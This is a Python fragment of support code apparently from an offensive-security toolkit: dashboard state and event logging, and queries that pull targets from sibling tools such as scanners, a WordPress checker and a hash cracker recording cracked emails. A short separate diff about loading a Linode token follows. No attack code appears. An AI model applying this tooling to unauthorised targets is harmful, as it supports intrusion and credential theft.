if os.path.exists(csv_path):
with open(csv_path) as f:
reader = csv.reader(f)
next(reader, None) # Skip header
commands = list(reader)
lines.append(f"Commands logged: {len(commands)}")
return "\n".join(lines)
# ─── State & Event Stream (for ops dashboard) ──────────────────────────────
def write_tool_state(engagement, tool_name, status, **extra):
"""Write tool status to state.json for dashboard consumption.
Called automatically by op_log when level is 'success' (tool start/finish).
Can also be called directly for fine-grained control.
"""
eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_"))
state_path = os.path.join(eng_dir, "state.json")
try:
os.makedirs(eng_dir, exist_ok=True)
fd = os.open(state_path, os.O_RDWR | os.O_CREAT)
try:
fcntl.flock(fd, fcntl.LOCK_EX)
raw = b""
while True:
chunk = os.read(fd, 8192)
if not chunk:
break
raw += chunk
state = json.loads(raw) if raw.strip() else {"tools": {}}
state.setdefault("tools", {})
tool_entry = state["tools"].get(tool_name, {})
tool_entry["status"] = status
tool_entry.update(extra)
state["tools"][tool_name] = tool_entry
state["updated"] = time.strftime("%Y-%m-%dT%H:%M:%S")
out = json.dumps(state, indent=2).encode()
os.lseek(fd, 0, os.SEEK_SET)
os.ftruncate(fd, 0)
os.write(fd, out)
finally:
fcntl.flock(fd, fcntl.LOCK_UN)
os.close(fd)
except OSError:
pass
def emit_event(engagement, tool_name, event_type, message):
"""Append event to events.jsonl for dashboard live feed."""
eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_"))
events_path = os.path.join(eng_dir, "events.jsonl")
try:
os.makedirs(eng_dir, exist_ok=True)
entry = json.dumps({
"ts": time.strftime("%Y-%m-%dT%H:%M:%S"),
"tool": tool_name,
"type": event_type,
"msg": message,
})
with open(events_path, "a") as f:
fcntl.flock(f, fcntl.LOCK_EX)
f.write(entry + "\n")
fcntl.flock(f, fcntl.LOCK_UN)
except OSError:
pass
# ─── Cross-Tool Imports ─────────────────────────────────────────────────────
# Maps tool name to (table_name, target_column) for extracting targets
TOOL_TARGET_QUERIES = {
"um-scan": ("SELECT DISTINCT host FROM hosts", "host"),
"um-api": ("SELECT DISTINCT target FROM targets", "target"),
"um-intel": ("SELECT DISTINCT target FROM targets", "target"),
"um-enum": ("SELECT DISTINCT domain FROM targets", "domain"),
"um-fuzz": ("SELECT DISTINCT base_url FROM results", "base_url"),
"um-hash": ("SELECT DISTINCT domain FROM sites", "domain"),
"um-wp": ("SELECT DISTINCT domain FROM sites WHERE is_wordpress=1", "domain"),
"um-crack": ("SELECT DISTINCT domain FROM hashes WHERE cracked_email != ''", "domain"),
"um-exif": ("SELECT DISTINCT file_path FROM images WHERE has_exif=1", "file_path"),
}
def get_targets_from_tool_db(db_path, tool_name):
"""Query another tool's database to extract target list.
Returns a list of target strings.
"""
if not os.path.exists(db_path):
return []
query_info = TOOL_TARGET_QUERIES.get(tool_name)
if not query_info:
return []
query = query_info[0]
try:
conn = sqlite3.connect(db_path)
rows = conn.execute(query).fetchall()
conn.close()
return [str(r[0]) for r in rows if r[0]]
except Exception:
return []
def find_tool_db(tool_name, engagement=None):
"""Locate a tool's database file.
Search order:
1. Engagement directory (if provided)
2. Current working directory
"""
# Check engagement directory first
if engagement:
db_path = get_engagement_db_path(engagement, tool_name)
if os.path.exists(db_path):
return db_path
# Fall back to current working directory
cwd_path = os.path.join(os.getcwd(), f"{tool_name}.db")
if os.path.exists(cwd_path):
return cwd_path
return None
+1 -3
View File
@@ -170,9 +170,7 @@ def set_provider_environment_for_teardown(config):
# Load token from provider vars file
try:
from utils.common import load_vars_file, PROVIDER_DIRS
provider_dir = PROVIDER_DIRS.get(provider, provider.capitalize())
vars_file = f"providers/{provider_dir}/vars.yaml"
vars_data = load_vars_file(vars_file)
vars_data = load_vars_file(provider)
if vars_data and vars_data.get('linode_token'):
os.environ['LINODE_TOKEN'] = vars_data['linode_token']
config['linode_token'] = vars_data['linode_token'] # Add to config for later use